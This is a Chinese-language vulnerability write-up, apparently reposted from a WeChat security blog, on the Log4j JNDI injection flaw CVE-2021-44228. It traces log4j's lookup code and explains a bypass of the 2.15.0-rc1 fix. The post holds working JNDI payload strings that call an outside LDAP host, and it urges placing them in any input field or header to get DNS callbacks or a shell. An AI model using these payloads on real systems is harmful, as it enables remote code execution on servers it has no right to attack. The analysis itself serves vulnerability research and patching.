log4j组件jndi注入

渗透技巧 2年前 (2021) admin
1,046 0 0


一、    利用代码

${jndi:ldap://dnslog.com/exp}
重磅漏洞,CVE-2021-44228
正如朋友圈各种传播的,把这段代码放在各种地方X就行了,包括各种搜索/登录/id等可以传参的地方,甚至包括url和header均有机会获取dnslog记录。
要shell就参考java的jndi注入了,我之前的文章提到过很多次了,就不赘述了。

因为是log,还是常用组件,所以影响非常非常大,刚出来就已经玩坏了,比如百度搜索框就可以直接dnslog。当然现在各种waf各种filter已经加入过滤了。

而且还可以设想多个场景,有时候并不是直接打到web服务,而是打到日志服务器啥的,甚至可能发生waf想捕获恶意请求,反而因为waf也用这个记录log导致waf被打了,又或者用idea插件或者自动代审工具去审,也中招了。
总之只要存在这么一段payload,流传到奇奇怪怪的地方都有可能中招,甚至包括idea,java游戏等等。


二、    代码分析

依赖log4j-api-2.14.1.jar/log4j-core-2.14.1.jar

package test;
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class Logjndi { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { String payload = "${jndi:ldap://127.0.0.1:5667/exp}"; logger.error(payload); }}

直接在org.apache.logging.log4j.core.lookup.JndiLookup.lookup()下断点即可

log4j组件jndi注入

org.apache.logging.log4j.core.layout.PatternLayout.toSerializable()中,会不断轮询this.formatters中的converter,一段一段拼接成buffer,得到最终的log。

        public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {            final int len = formatters.length;            for (int i = 0; i < len; i++) {                formatters[i].format(event, buffer);            }            if (replace != null) { // creates temporary objects                String str = buffer.toString();                str = replace.format(str);                buffer.setLength(0);                buffer.append(str);            }            return buffer;        }

轮询到MessagePatternConverter时,在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format()中发现了对于【${】符号的判断。

                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {                        final String value = workingBuilder.substring(offset, workingBuilder.length());                        workingBuilder.setLength(offset);                        workingBuilder.append(config.getStrSubstitutor().replace(event, value));                    }

识别到之进入org.apache.logging.log4j.core.lookup.StrSubstitutor.replace()

继续追踪,可以看到jndi格式的字符串处理是在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute()完成的。

                        if (nestedVarCount == 0) {                            String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);                            if (substitutionInVariablesEnabled) {                                final StringBuilder bufName = new StringBuilder(varNameExpr);                                substitute(event, bufName, 0, bufName.length());                                varNameExpr = bufName.toString();                            }

之后就是常规的lookup了。
org.apache.logging.log4j.core.lookup.Interpolator.lookup()
这漏洞太过直白,怎么都像个正常功能,于是有小伙伴翻了翻手册,还真是。
https://logging.apache.org/log4j/2.x/manual/lookups.html

log4j组件jndi注入

所以说太离谱了。

除了error()之外,fatal()也会产生漏洞,而info(),debug()等则不会。
原因可以在org.apache.logging.log4j.spi.AbstractLogger中看到。
Level.DEBUG的intLevel属性为500

log4j组件jndi注入

error为200,fatal为100,info为400,trace为600,warn为300。
org.apache.logging.log4j.core.Logger$PrivateConfig.filter()中做了判断,如果200大于等于intLevel,才会执行logMessage(),继而向后触发jndi。

        boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {            final Filter filter = config.getFilter();            if (filter != null) {                final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);                if (r != Filter.Result.NEUTRAL) {                    return r == Filter.Result.ACCEPT;                }            }            return level != null && intLevel >= level.intLevel();        }

当然这只是默认的情况下,level本身是可以调节的。

三、    rc1绕过

官方更新到2.15.0-rc1,但很快被绕过了。
https://github.com/apache/logging-log4j2/archive/refs/tags/log4j-2.15.0-rc1.zip
来看修复方案,位于org.apache.logging.log4j.core.pattern.MessagePatternConverter
可以看到,多出了几个内部私有类,原来检查【${】的代码移到了LookupMessagePatternConverterz.format()中。

    private static final class LookupMessagePatternConverter extends MessagePatternConverter {        private final MessagePatternConverter delegate;        private final Configuration config;
LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) { this.delegate = delegate; this.config = config; }
/** * {@inheritDoc} */ @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { int start = toAppendTo.length(); delegate.format(event, toAppendTo); int indexOfSubstitution = toAppendTo.indexOf("${", start); if (indexOfSubstitution >= 0) { config.getStrSubstitutor() .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution); } } }

想要创建LookupMessagePatternConverterz,需要一个存在lookups的列表options。

    private static final String LOOKUPS = "lookups";    private static boolean loadLookups(final String[] options) {        if (options != null) {            for (final String option : options) {                if (LOOKUPS.equalsIgnoreCase(option)) {                    return true;                }            }        }        return false;    }    public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {        boolean lookups = loadLookups(options);        String[] formats = withoutLookupOptions(options);        TextRenderer textRenderer = loadMessageRenderer(formats);        MessagePatternConverter result = formats == null || formats.length == 0                ? SimpleMessagePatternConverter.INSTANCE                : new FormattedMessagePatternConverter(formats);        if (lookups && config != null) {            result = new LookupMessagePatternConverter(result, config);        }        if (textRenderer != null) {            result = new RenderingPatternConverter(result, textRenderer);        }        return result;    }

这个怎么触发呢?翻文档可以发现需要使用%m{lookups}
https://logging.apache.org/log4j/2.x/manual/configuration.html
 

log4j组件jndi注入

也就是说需要xml或者properties文件,以下是网上随便找的一份参考文件log4j2.properties,放在classpath目录即可。

###The level of internal Log4j events. Set to trace is one way to troubleshoot log4j. Do not care the name, it can be any word.status = infoname = TestPropertiesConfigappenders = console, rolling1, rolling2###First appender: 將log輸出到console###name可自訂appender.console.type = Consoleappender.console.name = stdoutappender.console.layout.type = PatternLayoutappender.console.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m%nappender.console.target = System_out###Second appender: 將log輸出到檔案,並每天做rollover###name可自訂###filePattern: rollover時,舊log的命名規則###append: 重啟tomcat時,是否要先清除log file內容,還是直接append在最後###Polices: RollingFile可設定依照時間還是檔案大小做rollover。這裡設置TimeBasedTriggeringPolicy代表根據時間做rollover###interval: 根據filePattern決定,e.g.: interval=1,filePattern最小時間粒度為day,則每天觸發一次rollover (同理可設每小時、每分鐘做rollover)###modulate官方解釋:Indicates whether the interval should be adjusted to cause the next rollover to occur on the interval boundary.###DefaultRolloverStrategy: 預設策略會保留指定份數的log,過舊的會被刪除。這裡設置保留10份appender.rolling1.type = RollingFileappender.rolling1.name = dailyfileappender.rolling1.fileName = D:/logs/daily/daily.logappender.rolling1.filePattern = D:/logs/daily/daily-%d{yyyy-MM-dd}.logappender.rolling1.layout.type = PatternLayoutappender.rolling1.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m%nappender.rolling1.append = trueappender.rolling1.policies.type = Policiesappender.rolling1.policies.time.type = TimeBasedTriggeringPolicyappender.rolling1.policies.time.interval = 1appender.rolling1.policies.time.modulate = trueappender.rolling1.strategy.type = DefaultRolloverStrategyappender.rolling1.strategy.max = 10###Third appender:只將error等級以上的log記錄到檔案,一樣採rolling file形式###由於上面已經定義了appender.rolling1,這裡需取不一樣的名稱(appender.rolling2)否則會報錯###ThresholdFilter: 指定log level threshold###SizeBasedTriggeringPolicy: 與上面不同,這裡設定檔案大小超過2MB則會做rolloverappender.rolling2.type = RollingFileappender.rolling2.name = errfileappender.rolling2.filter.threshold.type = ThresholdFilterappender.rolling2.filter.threshold.level = errorappender.rolling2.fileName = D:/logs/exception/error.logappender.rolling2.filePattern = D:/logs/exception/error-%d{yyyy-MM-dd}-%i.logappender.rolling2.layout.type = PatternLayoutappender.rolling2.layout.pattern = [%-5p] [%d{yyyy/MM/dd HH:mm:ss:SSS} %C-%M] : %m{lookups}%nappender.rolling2.append = trueappender.rolling2.policies.type = Policiesappender.rolling2.policies.size.type = SizeBasedTriggeringPolicyappender.rolling2.policies.size.size=2MBappender.rolling2.strategy.type = DefaultRolloverStrategyappender.rolling2.strategy.max = 5###Logger Mapping###文件結尾一定要設置rootLogger並指定要套用此logger的appender###這裡設置的意思是: 無論stdout appender、dailyfile appender、errfile appender,只要log level是info以上就會觸發相對應的配置###然而,errfile appender有額外設定ThresholdFilter,所以必須在error level以上才會觸發rootLogger.level = inforootLogger.appenderRef.consolelogdemo.ref = stdoutrootLogger.appenderRef.filelogdemo.ref = dailyfilerootLogger.appenderRef.filelogdemo2.ref = errfile

也就是说原来log4j2.formatMsgNoLookups=true的开关被淘汰了,现在变成了%m{lookups}。rc1存在什么绕过呢?其实是在开启lookups的情况下,绕过host防护,见org.apache.logging.log4j.core.net.JndiManager.lookup()

                    if (!allowedHosts.contains(uri.getHost())) {                        LOGGER.warn("Attempt to access ldap server not in allowed list");                        return null;                    }

log4j组件jndi注入


判断了是否为本地地址,也就是说即使开启了lookups,也无法连接恶意服务器了。
但在此之前有个生成url类的操作。

    public synchronized <T> T lookup(final String name) throws NamingException {        try {            URI uri = new URI(name);

并且rc1相比于rc2,try报错时居然没有返回null,而是继续向下执行。
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1…log4j-2.15.0-rc2#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51

log4j组件jndi注入


这个This is OK的注释看起来非常讽刺,于是github上有人提出,使用错误url,也就是/exp部分携带空格,会导致URI uri = new URI(name);代码报错,跳过host检验。

log4j组件jndi注入

于是官方很快修复发布了rc2。由于需要开启lookup,现在看起来rc1的绕过影响范围应该是非常有限的。


四、    各种tips


略过,见浅蓝博客

https://b1ue.cn/archives/513.html



五、    使用了log4j的第三方项目



略过,见

https://github.com/YfryTchsGD/Log4jAttackSurface




原文始发于微信公众号(珂技知识分享):log4j组件jndi注入

版权声明:admin 发表于 2021年12月13日 上午7:04。
转载请注明:log4j组件jndi注入 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...